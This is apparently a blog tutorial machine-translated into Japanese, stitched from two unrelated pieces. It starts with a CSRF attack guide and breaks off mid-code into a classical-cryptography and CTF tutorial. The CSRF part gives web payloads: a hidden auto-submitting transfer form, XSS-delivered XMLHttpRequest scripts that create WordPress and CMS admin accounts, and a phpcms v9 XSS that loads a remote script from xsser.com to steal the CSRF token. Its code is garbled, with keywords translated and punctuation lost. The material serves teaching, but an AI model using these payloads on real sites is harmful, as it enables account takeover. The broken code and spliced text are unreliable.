Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863113705

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x01 CSRF定義

CSRF(クロスサイトリクエスト偽造)、中国語名:クロスサイトリクエスト偽造、知られている:ワンクリック攻撃/セッションライディング、略語:CSRF/XSRF。クロスサイトスクリプトXSSのように聞こえますが、サイト内の信頼できるユーザーを悪用するXSSとは大きく異なりますが、CSRFは信頼できるユーザーからの要求を装って信頼できるWebサイトを悪用します。 XSS攻撃と比較して、CSRF攻撃はあまり人気が低く(したがって、それらを防ぐためのリソースがかなり少ない)、予防が困難であるため、XSSよりも危険であると考えられています。

0x02 CSRFハザード

攻撃者はあなたの身元を盗み、あなたの名前で悪意のあるリクエストを送信しました。 CSRFにできること:電子メールの送信、メッセージの送信、アカウントの盗み、さらには商品の購入、仮想通貨からの送金.問題が発生した問題:個人のプライバシー漏れと不動産セキュリティが含まれます。

0x03 CSRF脆弱性の原因

CSRFの脆弱性の原因は、ブラウザでWebサイトのCookieが期限切れにならないことです。このウェブサイトにアクセスする限り、ブラウザがクローズまたはログアウトしていない限り、デフォルトでログインしたステータスになります。この期間中、攻撃者は、作成されたCSRFスクリプトまたはCSRFスクリプトを含むリンクを送信します。この操作は、ユーザーが実際に実行したいものではありません。

0x04

CSRFとXSS XSSの違い:

攻撃者は、XSSの脆弱性——コンストラクトコード——被害者に送られた——被害者を発見しました——攻撃者が被害者のCookie ——を取得して攻撃を完了しました

CSRF:

攻撃者は、CSRFの脆弱性——コンストラクトコード——被害者に送信された——被害者に——人を開設し、攻撃を完了するためにコード——を実行したことを発見しました

0x05

CSRFの原則次の図は、CSRF攻撃のアイデアを簡単に説明しています。

gn5k5s0rdts7795.png

上記の図からわかるように、CSRF攻撃を完了するには、被害者は次の2つのステップを完了する必要があります。

1.信頼できるWebサイトAにログインし、Cookieをローカルで生成します。

2。ログアウトすることなく、危険なウェブサイトBにアクセスしてください。

上記の2つの条件のいずれかが満たされていない場合、CSRFに攻撃されません。はい、それは本当ですが、次の状況が起こらないことを保証することはできません。

1. Webサイトにログインした後、タブページを開いて別のWebサイトにアクセスしなくなることを保証することはできません。

2。ブラウザを閉じた後、地元のCookieがすぐに期限切れになり、最後のセッションが終了したことを保証することはできません。 (実際、ブラウザを閉じることはセッションを終了することはできませんが、ほとんどの人はブラウザを閉じることはログアウト/エンドセッションと同等であると誤って信じています.)

3.上の写真のいわゆる攻撃のウェブサイトは、他の脆弱性を備えた信頼できる頻繁に訪問されるウェブサイトである可能性があります。

0x06

CSRF攻撃の例

(1).getタイプcsrf

銀行WebサイトA。これは、GETリクエストを使用して、http://www.mybank.com/transfer.php?tobankid=11money=1000などの銀行譲渡事業を完了します。

次に、短いファイルでURLリンクを相手に送信します。それが被害者に送られている限り、それはトリガーされます

https://0x9.me/m5beh

(2).post-type csrf

上記の問題を排除するために、銀行は譲渡操作を完了するためにPOSTリクエストを使用することを決定しました。

銀行のウェブサイトAのWebフォームは次のとおりです。

format='transfer.php'method=' post '

ptobankid:inputtype='text'name=' tobankid '//p

pmoney:inputtype='text'name=' money '//p

pinputType='submit'Value='転送'//p

/形状

バックグラウンド処理ページTransfer.phpは次のとおりです。

?php

session_start();

if(Isset($ _ request ['tobankid'] isset($ _ request ['money']))

{

buy_stocks($ _ request ['tobankid']、$ _request ['money']);

}

上記のフォームを偽造してBk.htmlとして保存することにより、Bk.htmlをhttp://www.backlion.org/bk.htmlの下に置くと、URLをクリックするだけで転送がトリガーされます。

(3)最初の2つの痛みを伴うレッスンの後、銀行は要求されたデータを取得する方法を変更することを決定し、$ _POSTを使用して、POSTで要求されたデータのみを取得します。バックグラウンド処理ページTransfer.phpコードは次のとおりです。

?php

session_start();

if(isset($ _ post ['tobankid'] isset($ _ post ['money']))

{

buy_stocks($ _ post ['tobankid']、$ _post ['money']);

}

ただし、偽造フォームは同時に変更できます。

HTML

scriptType='text/javascript'

functionsteal()

{

iframe=document.frames ['steal'];

iframe.document.submit( '転送');

}

/スクリプト

/頭

bodyonload='steal()'

iframename='steal'display=' none '

formmethod='post'name='転送'アクション=' http://ww.mybank.com/transfer.php '

inputtype='hidden'name=' tobankid'value='11 '

inputtype='hidden'name=' money'value='1000'

/形状

/iframe

/体

/HTML

上記の3つの例を要約するために、CSRFの主な攻撃モードは基本的に上記の3つであり、そのうち1番目と2番目が最も深刻であり、トリガー条件は非常に単純であり、URL接続で十分であるため、3番目のタイプはよりトラブルであり、javaScriptを必要とするため、以前のものよりもはるかに低くなります。ただし、いずれにせよ、CSRF攻撃がトリガーされている限り、結果は非常に深刻な場合があります。

上記の3つの攻撃モードを理解すると、CSRF攻撃がWebの暗黙的な認証メカニズムに由来することが実際にわかります。 Webの認証メカニズムは、リクエストがユーザーのブラウザからのものであることを保証できますが、リクエストがユーザーによって承認されることを保証することはできません。

0x07

CSRF実用的な例

(1)。ポスト

のCSRFの実用的な例

最初にターゲットサイトを見つけます。 CSRFの害は、主に操作を実行できる場所に存在します。次に、私が構築した環境でログインした後、ページをテストします。

環境はWordPress環境です。公式ウェブサイトで直接ダウンロードできます

bvkaxqiw2yr7796.png

テストのためにユーザーインターフェイスを選択しましたが、現在1人のユーザーしかいないことがわかります

5qyzssx3o537797.png

次に、ユーザーを追加します

gko4anbzdvu7798.png

げっぷを使用してカットします

jpcwoq1byxb7799.png

Burpの独自のプラグインを使用して、CSRFを利用します

gybhvpvuatx7800.png

使用できるCSRF.htmlを生成します

ラベル内の値を変更して、追加されたユーザーが繰り返し追加できないようにします。

hyxjbtenupj7801.png

ブラウザで試してみてください

tt1omyltbdk7802.png

キーを実行した後、通常の手段で参加した元の最初のユーザーとユーザーに加えて、新しいtest1ユーザーが追加されたことがわかりました。このユーザーは、CSRFを使用して写真の送信をクリックして実行する操作です。テストはページを変更せず、直接連絡したためです。攻撃者がJSを使用してユーザーに直接トリガーできる場合、対応するページが開かれている限り、この動作は実行されます。

xjjrps3ghep7803.png

cgefaq4ejth7804.png

(2).combination csrf+xss

の使用率

人々がHTMLを悪用するのは容易ではなく、脆弱性のトリガーは複雑であるため、このトリガー方法をシンプルにする方法を見つけます。

XSSの脆弱性を使用して、CSRFの脆弱性をトリガーし、ユーザーが追加した操作を完了します。

最初に送信されたパケットのコンテンツを理解する必要があります

smsuy5yqf1o7805.png

上記のXSSプラットフォームを開き、CSRFプロジェクトを作成します。コードを書きましょう

Span Data-Wiz-Span='Data-Wiz-Span' Style='Font-Style:

普通; font-size: 0.875Rem; font-family: Microsoft yahei; Color: RGB(51、51、51); background-color: RGB(255、255、

255); 'var xmlhttp;

if(window.xmlhttprequest){

xmlhttp=new

xmlhttprequest();

}それ以外{

xmlhttp=new

ActiveXObject( 'microsoft.xmlhttp');

}

xmlhttp.open( 'post'、 'http://www.backlion.org/wordpress/wp-admin/user-new.php'、true);

xmlhttp.setRequestheader( 'content-type'、 'application/x-www-form-urlencoded');

xmlhttp.send( 'action=createuser_wponce ..');

//ここで投稿データを入力すると、ユーザー名とパスワード /スパンを変更する必要があります

このコードをプロジェクトのコード構成に貼り付けます

thwqfjn3jit7806.png

次に、メッセージ内の保存されたXSSの脆弱性を介して、利用可能なコードをターゲットサイトに保存します

xtujzowax4v7807.png

メッセージが成功した後の効果は次のとおりです

wxsakhliezt7808.png

myuobbvddk57809.png

管理者がメッセージをチェックすると、危険なコードを実行し、ユーザーを追加するリクエストを送信します

qigkqsjoj4v7810.png

test2ユーザーはユーザーリストを表示した後に正常に追加されました

g2kquc3lb5b7811.png

この時点で、CSRFの攻撃例はほぼ完了していると言えます。将来、自分でそれを掘り下げなければなりません。

(3)。 Ajaxを使用して、CSRF攻撃のXSSを組み合わせます

攻撃効果を達成するために、CSRFのAJAX要求をXSSに入れることです

テストに使用されるこのCMSの掲示板には、ストレージXSSの脆弱性があります。

ここでは、csrftesterを使用してAjaxを生成できます

y1crrtjzv4v7812.png

Ajaxの中核部分を見ることができます

3q1sgekncqi7813.png

単純なAjaxを自分で書くこともできます

Span Data-Wiz-Span='Data-Wiz-Span' Style='Font-Style:

普通; font-size: 0.875Rem; font-family: Microsoft yahei; Color: RGB(51、51、51); background-color: RGB(255、255、

255); 'var xmlhttp;

if(window.xmlhttprequest){

xmlhttp=new

xmlhttprequest();

}それ以外{

xmlhttp=new

ActiveXObject( 'microsoft.xmlhttp');

}

xmlhttp.open( 'post'、 'http://192.168.109:99/admin/admin_manage.asp?act=add'、true);

xmlhttp.setRequestheader( 'content-type'、 'application/x-www-form-urlencoded');

xmlhttp.send( 'admin=789password=789password3=789button=data');/span

XSSプラットフォームでプロジェクトを構成します

yp0ewlkops27814.png

次に、テストWebサイトの掲示板に挿入します

hr3ibbfmrtr7815.png

管理者は、メッセージ情報を確認して管理者アカウントを追加できます

4whfb5shgma7816.png

jj1nax2itek7817.png

(4).phpcmsv9反射性XSSからCSRF

に管理者アカウントを追加します

PHPCMS V9は、PHP5+MySQLを技術的な基盤として使用して開発されたPHPオープンソースコンテンツ管理システムです。現在、多くの業界ポータル、地元のポータル、政府機関などがこのCMSを使用しているか、二次開発を行っています。

eyurtzfw3xg7818.png

PC_HASHの値は、CSSRF防御を実行するためにバックグラウンドで使用されるトークンです。 XSSの脆弱性を前景で発見できる場合、PC_HASH(CSRFトークン)を簡単に取得でき、CSRFの脆弱性をトリガーできます。

反射性XSSを探しています

\ phpcms \ modules \ admin \ plugin.php file public_appcenter_ajx_detail関数(411行にあります)。

/**

*

非同期通話の詳細

*

ここに説明を入力してください.

*/

公共

function public_appcenter_ajx_detail(){

$ id=intval($ _ get ['id']);

$ data=file_get_contents( 'http://open.phpcms.cn/index.php?m=openc=apia=get_detail_byappidid='。$ id);

//$ data=json_decode($ data、true);

echo $ _get ['jsoncallback']。 '('、$ data、 ')';

出口;

}

$ _get ['jsoncallback']は、フィルタリングせずにページに直接出力されます。これは反射的なXSS脆弱性です。

/index.php?m=adminc=plugina=public_appcenter_ajx_detailjsoncallback=script

src=http://www.xsser.com/xss.js/script

反射性XSSを使用して、PC_HASH値を取得します

ydtdusqr25d7819.png

PC_HASHとXSSの脆弱性により、ユーザーが攻撃者の慎重に構築されたボタンをクリックする限り、攻撃者は攻撃を開始できます。

管理者の権限を追加するためにユーザーを構築するには、最初にadmin_manage_codeを取得する必要があります。

dzvzay40tsk7820.png

kkrtjq0lws37821.png

XSSプラットフォームを使用して、CSRF攻撃を起動します

var request=false;

if(window.xmlhttprequest){

リクエスト

=new xmlhttprequest();

もし

(Request.OverRideMimeType){

request.overridemimeType( 'text/xml')

}

} else if(window.activexobject){

var

バージョン=['microsoft.xmlhttp'、 'msxml.xmlhttp'、 'microsoft.xmlhttp'、 'msxml2.xmlhttp.7.0'、

'msxml2.xmlhttp.6.0'、 'msxml2.xmlhttp.5.0'、 'msxml2.xmlhttp.4.0'、 'msxml2.xmlhttp.3.0'、

'msxml2.xmlhttp'];

のために

(var i=0; i versions.length; i ++){

試す {

リクエスト

=new ActiveXObject(バージョン[i])

} catch(e){}

暗号化の紹介

暗号化は一般に、古典的な暗号化と現代の暗号化に分けることができます。

その中で、実用的な芸術としての古典的な暗号化は、多くの場合、デザイナーと敵の創造性とスキルに依存しており、元の暗号を明確に定義していません。主に次の側面が含まれています

シングルテーブル交換暗号化マルチテーブル交換暗号化奇妙な暗号化方法。一方、現代の暗号化は、20世紀後半に登場した多数の関連理論に由来し、現代の暗号化を体系的かつ厳密に学ぶことができる科学になりました。現代の暗号化は、単に次の側面に分けることができます

DES、AES、RC4で表される対称パスワード。非対称パスワードは、RSAおよび楕円曲線暗号化によって表されます。 MD5、SHA1、SHA512などで表されるHash。デジタル署名、RSA署名、Elgamal Signature、およびDSA Signatureで表されます。暗号化する主な方法は2つあります

ブロック暗号化ストリーム暗号化一般的に言えば、パスワードデザイナーの基本的なアイデアは、パスワードフレームワークを確保することです。

機密性の整合性の可用性は否定できず、最初の3つはCIAトリプルとも呼ばれます。

パスワードクラッカーの場合、通常、パスワードアルゴリズムを識別する方法を見つけてから、パスワードフレームワークのブルートフォースクラッキング方法または脆弱性を使用してクラックする必要があります。もちろん、対応する検出をバイパスするために、誤ったハッシュ値または署名を構築したい場合もあります。

一般的に言えば、攻撃者はパスワードシステムが壊れていることを知っていると仮定します。一般的に言えば、次の種類の攻撃があります。

攻撃タイプの説明該当するシナリオ:暗号文攻撃攻撃攻撃者のみがciphertextクラシックパスワードのみを既知のプレーンテキスト攻撃と対応する暗号化クラシックパスワード、対称的なパスワード、非対称パスワード、非対称パスワード、プラントテキスト攻撃は、対応する微細テキスト対称パスワードを取得することができます。非対称パスワードは、いくつかの暗号文を選択した後、プレーンテキスト非対称パスワードを取得できます。ここに推奨される資料がいくつかあります

Khan Academy Open Classは理解しやすい暗号化——一般的な暗号化技術の原則とアプリケーション

参照

ウィキペディアクリプトグラフィ

古典的なパスワードの紹介

シャノンの機密システムのコミュニケーション理論の公開前の暗号化は、古典的なクリプトグラフィーとして分類されます。最終分析では、古典的な暗号エンコーディングの2つの主要な方法、つまり置換と交換があります。

パスワードを交換

プレーンテキストの文字を再配置すると、文字自体は変更されていませんが、その位置は変わります。この方法でコンパイルされたパスワードは、交換パスワードと呼ばれます。パスワードを置き換える最も簡単な方法は、プレーンテキストのアルファベット順の順序を逆にしてから、それをciphertextとして固定長の文字グループにカットすることです。

- 列の順列暗号化:固定された長さm、つまり、行ごとのm文字、キーの制御下で特定の順序で列を交換する列、つまり、列の優先順位で読み取る、つまり、ciphertextが生成されます。復号化:逆プロセス。

- 定期的な順列は、ほぼ同じ列の順序ですが、追加および復号化する場合、列交換後に行ごとに下方に実行されます。

置換

パスワード置換は、プレーンテキストの文字を他の文字に置き換えることです。 -single-denote置換パスワードAからBへのマッピングを定義します:F:A→BF(A_I)=B_I=A_J \ J=I+K \ MOD N加算パスワードは、アルファベットの後のK番目の文字に置き換えられます。 K=3は、Caesarが使用する暗号化システムである有名なCaesarコードです。これは、シセロの戦いで重要な軍事情報を保護するために古代ローマ人の偉大なものです。これは、世界史における最初の有名なパスワードアプリケーションです。

cultip倍パスワードaとbは、n文字のあるアルファベットです。aからbへのマッピングを定義します:f:a→bf(a_i)=b_i=a_j \ j=ik \ mod n where :(n、k)=1。注:(n、k)=1のみが正しく解読できます。

cassidersパスワードの代わりにランダムに単語を選択し、内部の重複文字を削除し、マトリックスの最初の行に書き込み、この最初の行の文字をプレーンテキストアルファベットから削除し、残りの文字をマトリックスアルファベットに書き込みます。次に、列に従って文字を取り出して、暗号アルファベットを形成します。

-Multi-denotesはパスワードを単一デノットに置き換えますが、1つの理由は、単純なテキストレターが暗号テキストレターにのみ置き換えられることです。周波数分析は、解読に使用できます。したがって、より安全なマルチデノテッド置換パスワードが生成されます。つまり、複数の暗号文アルファベットが構築され、一連の置換テーブルが使用されて、キーの制御下でシーケンスのプレーンテキストメッセージのアルファベットシーケンスを置き換えます。

古典的な暗号化では、主に単一テーブルの代替パスワード、マルチテーブルの代替パスワード、およびその他の興味深いパスワードを紹介します。

古典的な暗号化では、デザイナーは主にメッセージの機密性を考慮しているため、関連するキーを持つ人のみが暗号テキストを復号化してメッセージのコンテンツを取得できず、メッセージの完全性と否定性を考慮しないことに言及する価値があります。

単一テーブル暗号化

[目的]

いくつかの一般的な暗号化方法

[環境]

Ubuntu

[ツール]

JPK

[原則]

シングルテーブル交換暗号化の

パスワードのシフト

すべての暗号化方法には、ほぼ1つの共通の特徴があります。したがって、通常、割れる方法は2つあります

キースペースが小さい場合、暗号文の長さが十分に長いときにブルートフォースの亀裂が使用されます。キースペースが十分に大きく、暗号文の長さが十分に短い場合、単語周波数分析が使用され、亀裂はより困難です。

シーザーコード

原理

暗号化されると、Caesar暗号は、単純なテキスト内の各文字を後方(または前方)に移動します。これは、暗号テキストとして固定数(移動ループ)のアルファベットにある順序で順に移動します。たとえば、オフセットがシフトしたままになった場合(復号化中のキーは3):

プレーンアルファベット:abcdefghijklmnopqrstuvwxyz

秘密のテキストアルファベット:defghijklmnopqrstuvwxyzabc

使用すると、暗号化業者は、プレーンテキストアルファベットで暗号化する必要があるメッセージ内の各文字の場所を探し、Cipherテキストアルファベットに対応する文字を書きます。復号化する必要がある人は、元のプレーンテキストを取得するために、以前に既知のキーに基づいて逆に動作します。例えば:

プレーンテキスト:クイックブラウンフォックスが怠zyな犬を飛び越えます

パスワード:WKH TXLFN EURZQ IRA MXPSV RYHU WKH ODCB GRJ

オフセットに応じて、いくつかの特定のCAESARパスワード名があります。

オフセットは10です:avocat(a→k)オフセットは13:rot13です。 ROT13は独自の反転です。つまり、ROT13を復元するには、同じ暗号化アルゴリズムを使用してそれを取得できるため、同じ操作を再暗号化して解読できます。オフセットは-5:Cassis(k 6)です。オフセットは-6:カセット(k 7)です。さらに、キーベースのシーザー暗号があります。基本原則は、キーを使用してキーの各ビットを数値(通常はアルファベットの対応する順序で数値に変換)に変換し、この数値をキーとして使用して、プレーンテキストの各文字を暗号化することです。

atbash cipher

Caesarパスワードと同様に、パスワードをシフトするだけでなく、数字や特殊文字も扱うことです。 ASCIIコードテーブルは、一般的にシフトに使用されます。亀裂方法は、考えられる結果を得るためにすべての可能性を横断することでもあります。

原理

簡単なパスワードの交換

Atbash Cipherは、実際に以下に紹介する単純な交換パスワードの特別なケースと見なすことができます。アルファベットの最後の文字を使用して最初の文字を表し、最後から2番目の文字は2番目の文字を表します。ローマのアルファベットでは、次のように見えます。

プレーンテキスト:A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

パスワード:Z Y X W V U T S R Q P O N M L K J I H G F E D C B A

原理

アフィンパスワード

シンプルな置換暗号を暗号化するときは、各プレーンテキストレターを一意で異なる文字に置き換えます。それとCAESARパスワードの違いは、パスワードのアルファベットの文字が単にシフトされているのではなく、完全に混乱しているため、CAESARパスワードよりもクラックするのが難しくなっていることです。例えば:

プレーンレター: abcdefghijklmnopqrstuvwxyz

キーレター: phqgiumeylnofdxjkrcvstzwb

aはpに対応し、dはHなどに対応します。

原理

[step]

アフィンパスワードの暗号化関数はe(x)=(ax+b)(modm)で、ここで

xは、プレーンテキストの特定のエンコードで取得された番号AとMを表します。エンコードシステムの文字の数です。復号化関数はd(x)=a − 1(x -b)(modm)で、a -1はzmグループのaの乗算逆要素です。

Caiserパスワード

atbash cipher

ここでは、Xman Summer Camp共有トーナメントの第1フェーズであるCrypto 100を紹介します。

プレーンテキスト:S0A6U3U1S0BV1A

キー:広東

オフセット:6,20,0,13,6,19,14,20

パスワード:Y0U6U3H1Y0UJ1U

割れた

キーのないCaesarのパスワードの場合、それをクラックする2つの基本的な方法があります。

26のオフセットのトラバーサルは、単語頻度を分析するための一般的な状況に適しており、暗号文が長い状況に適しています。その中で、最初の方法は間違いなく平易なテキストを取得できますが、2番目の方法では必ずしも正しい平易なテキストを取得するとは限りません。

キーベースのシーザー暗号の場合、対応するキーを知る必要があります。

この質問を例に挙げてください:広州は最初にオフセットに変換され、Aは0に変換され、他の文字はそれに応じてオフセットされ、最終的なオフセットは6、20、0、13、6、19、14、20です。文字のみが暗号化され、最初の文字sはキーの最初の文字sに対応するオフセットであるため、暗号化の後、プレーンテキストの2番目の文字Aはキーuに対応するオフセットを続けます。暗号化が完了した後、暗号文はプレーンテキストから取得でき、逆操作はciphertextから取得できます。

道具

一般的に、次のツールがあり、その中にはJPKがより一般的です。

JPK、キーを使用して復号化するためのオンライン復号化ツールキーCaesarパスワードなし

簡単なパスワードの交換

以下は、ローマアルファベットの対応するルールに基づいて暗号化されているため、理解できます。

プレーンテキスト:クイックブラウンフォックスが怠zyな犬を飛び越えます

パスワード:GSV JFRXP LOVEM ULC QFNKH LEVI GSV OZAB WLT

割れた

その重要な空間は十分に短く、暗号文が十分に長い場合、単語周波数分析によって解決できることがわかります。

アフィンパスワード

例では、次の例では、原則部分を使用して、パーツの対応するルールを置き換えて暗号化するだけです。

プレーンテキスト:クイックブラウンフォックスが怠zyな犬を飛び越えます

パスワード:cei jvaql hkdtf udz yvoxr dsik cei npbw gdm

復号化するとき、通常、それをdyする前に、各文字の対応するルールを知っています。

割れた

この暗号化方式は26!のすべてのキーの数になるため、ブルートフォースソリューションを使用することはほとんど不可能です。したがって、通常、単語周波数分析を使用します。

道具

単語周波数分析と亀裂ツール

[概要]

例として、次の関数e(x)=(5x+8)mod26を紹介します。暗号化された文字列はアフィン暗号です。ここでは、エンコーディングシステムとしてアルファベットの26文字を直接使用します

プレーンテキストAffinecipherx055813428157417y=5x+8833333487328184883432893ymod268772221218222517215暗号テキストIhhwvcswfrcp

復号化プロセスの場合、通常の復号化装置にはaとbがあります。原理部分の対応する説明によれば、A -1が21であるため、その復号化関数はD(x)=21(x -8)(mod26)であり、復号化は次のとおりであると計算できます。

ciphertext ihhwvcswfrcpy87722121822517215x=21(y-8)0-21-21294273-126210294-63189-126147xmod26055813428157417 plaintext efsiphe shows assitiphe show show show show shove exhingは

割れた

まず、アフィンパスワードで取得した暗号文は、2つの異なる文字で異なる必要があるため、最も一般的な特性も備えていることがわかります。暗号文の長さが十分に長い場合、周波数分析方法を使用して解決できます。

第二に、パスワードを攻撃する方法を検討することができます。 a=1の場合、アフィン暗号化はシーザー暗号化であることがわかります。一般的に言えば、アフィンパスワードを使用する場合、文字セットはすべてアルファベットを使用し、通常は26文字しか使用しておらず、合計26と26の相互に排他的な数字があります。

ϕ(26)=ϕ(2)×ϕ(13)=12 bのオフセットの可能性が計算され、可能な総キースペースサイズは

12×26=312一般的に言えば、このタイプのパスワードについては、平易なテキストを知っている場合にのみ攻撃する必要があります。以下は簡単な分析です。

このパスワードは、2つのパラメーターによって制御されます。それらのいずれかを知っていれば、他のパラメーターを簡単に迅速に列挙して答えを得ることができます。

ただし、ここで26文字であると仮定して、使用されている文字セットが既に使用されていることをすでに知っていると仮定します。別の復号化の方法があり、復号化するために2つの暗号化された文字Y1とY2を知る必要があります。それから私たちはまだ知ることができます

y1=(ax1+b)(mod26)y2=(ax2+b)(mod26)2つの方程式を減算すると、取得できます

y1 -y2=a(x1 -x2)(mod26)ここでy1、y2が知られています。暗号文に対応する2つの異なる文字x1とx2がわかっている場合、aとbを簡単に取得できます。

次のプログラムは、オペレーティングマシンのデスクトップ/ツール/twctf2016-super_express/directoryに保存されています

ここでは、例としてTWCTF 2016のsuper_expressを紹介します。簡単に与えられたソースコードをご覧ください

sysをインポートします

key='****検閲****************

flag='twctf {******検閲*********}'

Len(key)%2==1:の場合

印刷( 'キー長エラー')

sys.exit(1)

n=len(key)/2

暗号化=''

flag:のcの場合

c=ord(c)

a、b in zip(key [0:n]、key [n:2*n]):の場合

c=(ord(a) * c + ord(b))%251

暗号化+='%02x'%c

暗号化された印刷

フラグ内の各文字はn回暗号化されていますが、慎重に分析すると、それが見つかることがわかります。

C1=A1C+B1C2=A2C1+B2=A1A2C+A2B1C+B2=KC+D 2番目の行の導出によると、CNは実際には同じ形式であり、CN=XC+Yと見なされる可能性があります。

さらに、暗号テキストもタイトルに記載されており、暗号テキストのコンテンツは次のとおりです。

805eed80CBBCCB94C36413275780EC94A857DFEC8DA8CA94A8C313A8CCF9

また、いくつかの暗号文に対応するプレーンテキストでは、既知のプレーンテキスト攻撃方法を使用して攻撃することは簡単です。次のようにコードを使用します。ciphertextをテキストファイルとして保存し、暗号化された変更に変更します。暗号化されたディレクトリで次のコードを実行します

gmpyをインポートします

key='****検閲****************

flag='twctf {******検閲*********}'

f=open( 'necrypted'、 'r')

data=f.read()。ストリップ( '\ n')

暗号化=[int(data [i3360i + 2]、16)for i in range(0、len(data)、2)]

plaindelta=ord(flag [1]) - ord(flag [0])

cipherdalte=暗号化[1] - 暗号化[0]

a=gmpy.invert(plaindelta、251) * cipherdalte%251

b=(暗号化[0] -a * ord(flag [0]))%251

a_inv=gmpy.invert(a、251)

結果=''

暗号化:のCの場合

結果+=chr((c -b) * a_inv%251)

印刷結果

結果は次のとおりです(ファイルが配置されているディレクトリを右クリックし、ここから端子を開いて現在のディレクトリの端末を開き、次のように復号化プログラムを実行します)

シェル

twctf2016-super_express git:(マスター)python exploit.py

twctf {faster_than_shinkansen!}

多表現暗号化

このセクションの研究により、いくつかの一般的な暗号化方法と亀裂方法を学ぶことができます

原理

マルチテーブル置換暗号化の場合、暗号化された文字は元の周波数をほとんど維持しなくなるため、一般的にアルゴリズムを見つけることで対応する弱点を割ることができます。

ツール

PlayFairパスワード(PlayFair CipherまたはPlayFair Square)は、交換用パスワードです。 1854年にチャールズホイートストーンによって発明されました。基本的なアルゴリズムは次のとおりです。

英語の文字の文字列を選択し、繰り返される文字を削除し、残りの文字を5×5マトリックスに1つずつ追加し、A-Zの順に残りの英語の文字から残りのスペースを追加します。 qを削除するか、iとjを同じ単語として扱うことに注意してください。プレーンテキストを分割して、2つのグループに暗号化されます。グループ内の文字が同じ場合、グループの最初の文字にx(またはq)を追加して再編成します。 1つの単語が残っている場合は、Xを追加します。各グループに、マトリックス内の2つの文字がどこにあるかを確認します。 2文字に異なる行と列がある場合、マトリックス内の他の2文字を見つけます(最初の文字は行が優先されます)。これにより、これらの4文字は長方形の四隅になります。 2文字が並んでいる場合は、2文字の右に文字を持ちます(手紙が右端にある場合は、左端に手紙を取ります)。 2文字が同じ列にある場合は、2文字の下の文字を撮ります(文字が下部にある場合は、上記の文字を取ります)。新しく見つかった2文字は、元の2文字の暗号化の結果です。

鍵としてPlayFairの例を取ります、

P l a y f

I R e x m

b c d g h

K n o q s

T u v w z

暗号化されるメッセージは、木の切り株に金を隠すことです

こんにちは

取得します

bm od zb xd na be ku dm ui xm mo uv if if

原理

CAP4

ツール

Polybiusパスワードは、チェスボードパスワードとも呼ばれます。通常、特定のプレーンテキストで数字の組み合わせに暗号化され、一般的に使用されるパスワードリスト

123451ABCDE2FGHI/JK3LMNOP4QRSTU5VWXYZたとえば、単純なテキストこんにちは、暗号化後、23 15 31 31 34です。

別のパスワードリスト

adfgxabtalpddhozkfqfvsnggjcuxxmrewyここでの文字の順序は破壊されていることに注意してください。

d f g xの起源:

1918年、第一次世界大戦が終了しようとしたとき、フランス軍はドイツの電報を傍受し、電報のすべての単語は5文字のa、d、f、g、xから綴られたため、ADFGXパスワードと呼ばれました。 ADFGXパスワードは、1918年3月にドイツのフリッツネベル大佐によって発明されました。これは、Polybiusパスワードを組み合わせてパスワードを置き換えるデュアル暗号化スキームです。

たとえば、こんにちは、このテーブルの暗号化を使用することはDD XF AG DFです。

Vigenere Virginiaパスワード

Cryptool

原理

亀裂

バージニアパスワード(Vigenere)は、シーザーパスワードを使用してパスワードアルファベットを形成する暗号化アルゴリズムです。これは、マルチテーブルパスワードの単純な形式です。

维吉尼亚表格

これが例です

プレーンテキスト:グレートウォールに来てください

キー:暗号

まず、キーを埋めて、その長さがプレーンテキストの長さと同じになるようにします。

プレーンテキストComegreatwall Key Cryptoc、その後、テーブルを検索して暗号テキストを取得します

维吉尼亚加密

プレーンテキスト:グレートウォールに来てください

キー:暗号

パスワード:efkt zferrltzn

ツール

バージニア州のパスワードを含むすべてのマルチテーブルパスワードの解読は、文字頻度に基づいていますが、直接周波数分析は適用されません。これは、バージニア州のパスワードでは、文字が異なる暗号文に暗号化できるため、ここでは簡単な頻度分析が役に立たないためです。

バージニア州のパスワードを解読するための鍵は、そのキーがループで繰り返されることです。キーの長さがわかっている場合、暗号文は織り交ぜられたシーザーの暗号コードと見なすことができ、それぞれを個別に割ることができます。パスワードの長さについては、KassiskyテストとFriedmanテストを使用して取得できます。

Kassiskyの実験は、同じキー文字で暗号化される可能性があるため、暗号文に繰り返し表示される可能性があるという事実に基づいています。たとえば、プレーンテキストの異なる暗号は、キーABCDEFによって異なる暗号文に暗号化される場合があります。

キー:ABCDEF AB CDEFA BCD EFABCDEFABCD

プレーンテキスト:暗号は暗号化の略です

パスワード:csasxt it ukswt gqu gwyqvrkwaqjb

この時点で、プレーンテキストで繰り返される要素は、暗号テキストでは繰り返されません。ただし、キーが同じ場合、結果は(キーABCDを使用)になる可能性があります。

キー:ABCDAB CD ABCDA BCD ABCDABCD

プレーンテキスト:暗号は暗号化の略です

パスワード:CSASTP KV SIQUT GQU CSASTPIUAQJB

この時点で、Kassiskyテストは結果を生み出すことができます。この方法は、通常、より長い段落でより効果的です。通常、暗号文にはより繰り返しのセグメントがあります。次の暗号文を使用してキーの長さを解読できる場合:

パスワード:dyduxrmhtvdvnqdqnwduxrmhartjgwnqd

その中で、2つのdyduxrmhsの外観は18文字離れています。したがって、キーの長さは18の除数であると想定できます。つまり、長さは18、9、6、3、または2です。2つのNQDは20文字離れています。つまり、キーの長さは20、10、5、4、または2である必要があります。

より詳細なひび割れの原則に関しては、当面の間、あまり紹介することはありません。

nihilist

既知のキーPython Decrypts OnlineVigenèreCiphercap4未知のキーvigenèreciphercipher codebreakervigenereソルバーのPycipherライブラリ、十分ではありません。

原理

ヒル

ニヒリストのパスワードは、キーワードパスワードとしても知られています。例としてキーワードHelloWorldを使用してください。

まず、キーを使用してボードマトリックスを構築します(Polybiusパスワードと同様) - 新しい5×5マトリックスを作成します - 繰り返されることなくマトリックスに文字を順番に入力します - 残りをアルファベット順に埋める - 文字iとjは同等です

123451HELOW2RDABC3FGI/JKM4NPQST5UVXYZ暗号化プロセスリファレンスマトリックスM:

A -M [2,3] -23

T -M [4,5] -45

復号化プロセス用

参照マトリックスMを復号化する:

23 -m [2,3] -a

45 -m [4,5] -t

ciphertextの特性は次のとおりであることがわかります

純粋な数字には、偶数の偶発的な長さの1から5。

原理

3

ツール

